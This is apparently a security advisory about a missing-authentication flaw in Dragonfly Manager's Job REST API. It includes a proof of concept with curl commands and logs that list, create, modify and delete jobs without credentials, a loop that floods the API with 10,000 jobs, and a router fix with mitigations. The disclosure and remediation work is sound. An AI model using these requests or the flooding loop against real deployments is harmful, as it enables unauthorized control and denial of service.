"details": "## Summary\n\nDragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.\n\n## Affected Products\n\n- **Product**: Dragonfly\n- **Component**: Manager (REST API)\n- **Affected Versions**: v2.x (based on source code analysis, including v2.4.0)\n- **Affected Endpoints**: `/api/v1/jobs`\n\n## Vulnerability Details\n\n### Description\n\nDragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:\n\n1. **List all jobs** (GET `/api/v1/jobs`)\n2. **Create new jobs** (POST `/api/v1/jobs`)\n3. **Query job details** (GET `/api/v1/jobs/:id`)\n4. **Modify jobs** (PATCH `/api/v1/jobs/:id`)\n5. **Delete jobs** (DELETE `/api/v1/jobs/:id`)\n\n### Technical Root Cause\n\nIn the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware:\n\n```go\n// TODO Add auth to the following routes and fix the tests.\n// Job.\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\nIn contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication:\n\n```go\n// manager/router/router.go:143\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\n```\n\nThe developer left a TODO comment in the code, indicating this is a known but unresolved issue.\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (Kind/Minikube/GKE, etc.)\n- Helm 3.8.0+\n- kubectl\n- curl and jq\n\n#### Deployment Steps\n\n1. **Add Dragonfly Helm Repository**\n```bash\nhelm repo add dragonfly https://dragonflyoss.github.io/helm-charts/\nhelm repo update\n```\n\n2. **Generate Deployment Manifest**\n```bash\nhelm template dragonfly dragonfly/dragonfly \\\n --namespace dragonfly-system \\\n --set manager.replicas=1 \\\n --set scheduler.replicas=1 \\\n --set seedClient.replicas=1 \\\n --set client.enable=false > /tmp/dragonfly-manifest.yaml\n```\n\n3. **Deploy to Kubernetes**\n```bash\nkubectl create namespace dragonfly-system\nkubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system\nkubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s\n```\n\n**Expected Output**:\n```\nnamespace/dragonfly-system created\n[... resource creation messages ...]\npod/dragonfly-manager-5cc788d64b-grpbk condition met\npod/dragonfly-mysql-0 condition met\npod/dragonfly-redis-master-0 condition met\npod/dragonfly-scheduler-0 condition met\npod/dragonfly-seed-client-0 condition met\n```\n\n4. **Setup Port Forwarding**\n```bash\nkubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &\n```\n\n### Exploitation Steps\n\n#### Step 1: Verify Unauthenticated Access\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Actual Output**:\n```json\n[]\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication.\n\n#### Step 2: Create Unauthorized Job\n\n**Command**:\n```bash\ncurl -s -X POST http://localhost:8080/api/v1/jobs \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"type\": \"preheat\",\n \"args\": {\n \"type\": \"file\",\n \"url\": \"http://example.com/test-file.txt\"\n },\n \"scheduler_cluster_ids\": [1]\n }' | jq .\n```\n\n**Actual Output**:\n```json\n{\n \"id\": 2,\n \"created_at\": \"2026-01-17T16:34:22.497Z\",\n \"updated_at\": \"2026-01-17T16:34:22.497Z\",\n \"task_id\": \"group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9\",\n \"type\": \"preheat\",\n \"state\": \"PENDING\",\n \"args\": {\n \"type\": \"file\",\n \"url\": \"http://example.com/test-file.txt\",\n \"scope\": \"single_seed_peer\",\n \"timeout\": 3600000000000\n },\n \"user_id\": 0,\n \"scheduler_clusters\": [\n {\n \"id\": 1,\n \"name\": \"cluster-1\",\n \"is_default\": true\n }\n ]\n}\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: Successfully created a Job (ID: 2) without any authentication token.\n\n#### Step 3: Query Job Details\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'\n```\n\n**Actual Output**:\n```json\n2\n\"preheat\"\n\"PENDING\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 4: Modify Job\n\n**Command**:\n```bash\ncurl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \\\n -H \"Content-Type: application/json\" \\\n -d '{\"bio\": \"Modified by unauthenticated attacker\"}' | jq '.id, .bio'\n```\n\n**Actual Output**:\n```json\n2\n\"Modified by unauthenticated attacker\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 5: Delete Job\n\n**Command**:\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" -X DELETE http://localhost:8080/api/v1/jobs/2\n```\n\n**Actual Output**:\n```\n200\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 6: Comparison Test - Authenticated Endpoint\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/clusters | jq .\n```\n\n**Actual Output**:\n```json\n{\n \"message\": \"Unauthorized\"\n}\n```\n\n**HTTP Status Code**: `401 Unauthorized`\n\n**Analysis**: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.\n\n### Automated POC Script\n\nComplete automated verification script available at:\n- Script: `poc.sh`\n- Output Log: `poc_output.log`\n\n**Execution Summary**:\n```\n[Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE\n[Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2)\n[Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test)\n```\n\n## Impact Analysis\n\n### Direct Impact\n\n1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations)\n2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic\n3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services\n4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS)\n\n### Potential Attack Scenarios\n\n1. **Resource Exhaustion Attack**\n```bash\n# Create 10,000 jobs to exhaust resources\nfor i in $(seq 1 10000); do\n curl -X POST http://manager:8080/api/v1/jobs \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"type\\\":\\\"preheat\\\",\\\"args\\\":{\\\"type\\\":\\\"file\\\",\\\"url\\\":\\\"http://example.com/file-${i}.txt\\\"},\\\"scheduler_cluster_ids\\\":[1]}\" &\ndone\n```\n\n2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)\n\n3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality\n\n### Affected Deployment Scenarios\n\n- Manager API exposed on the public internet or untrusted networks\n- Malicious users or compromised systems in internal networks\n- Tenant isolation failures in multi-tenant environments\n\n## Remediation\n\n### Recommended Fix\n\nAdd authentication and authorization middleware to the Job API in the `manager/router/router.go` file:\n\n```go\n// Before Fix (lines 204-211)\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n\n// After Fix\njob := apiv1.Group(\"/jobs\", jwt.MiddlewareFunc(), rbac)\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\n### Temporary Mitigation\n\nBefore the fix is released, the following mitigation measures can be taken:\n\n1. **Network Isolation**: Restrict network access to the Manager API\n - Use firewall rules to limit source IPs\n - Only allow trusted internal networks to access\n - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication\n\n2. **API Gateway**: Deploy an API gateway in front of Manager for authentication\n - Use reverse proxies like Nginx/Kong/Traefik\n - Configure OAuth2/JWT validation\n\n3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API\n - Log all Job API calls\n - Set up alerts for abnormal job creation/deletion\n\n### Verify Fix\n\nAfter the fix, all unauthenticated requests should return `401 Unauthorized`:\n\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Expected Output**:\n```json\n{\n \"message\": \"Unauthorized\"\n}\n```\n\n\n\n## Appendix: Complete Verification Logs\n\n### Deployment Verification Logs\n\n```bash\n$ kubectl -n dragonfly-system get pods\nNAME READY STATUS RESTARTS AGE\ndragonfly-manager-5cc788d64b-grpbk 1/1 Running 0 5m\ndragonfly-mysql-0 1/1 Running 0 5m\ndragonfly-redis-master-0 1/1 Running 0 5m\ndragonfly-redis-replicas-0 1/1 Running 0 5m\ndragonfly-scheduler-0 1/1 Running 0 5m\ndragonfly-seed-client-0 1/1 Running 0 5m\n\n$ kubectl -n dragonfly-system get svc dragonfly-manager\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE\ndragonfly-manager ClusterIP 10.96.240.126 <none> 8080/TCP,65003/TCP 5m\n```\n\n### POC Execution Complete Logs\n\nSee `poc_output.log` file for details.\n```\n==========================================\nVUL-001: Job API Unauthenticated Access POC\n==========================================\n\n[Test 1] GET /api/v1/jobs (No Authentication)\nHTTP Status: 200\nResponse: []\n✅ VULNERABLE: Endpoint accessible without authentication\n\n[Test 2] POST /api/v1/jobs (No Authentication)\nHTTP Status: 200\nJob ID: 2\n✅ VULNERABLE: Job created without authentication\n\n[Test 3] GET /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job details accessible without authentication\n\n[Test 4] PATCH /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job updated without authentication\n\n[Test 5] DELETE /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job deleted without authentication\n\n[Test 6] GET /api/v1/clusters (Should Require Authentication)\nHTTP Status: 401\nResponse: {\"message\":\"Unauthorized\"}\n✅ EXPECTED: Endpoint correctly requires authentication\n\n==========================================\nPOC Execution Complete\n==========================================\n\n```\n---",
0 commit comments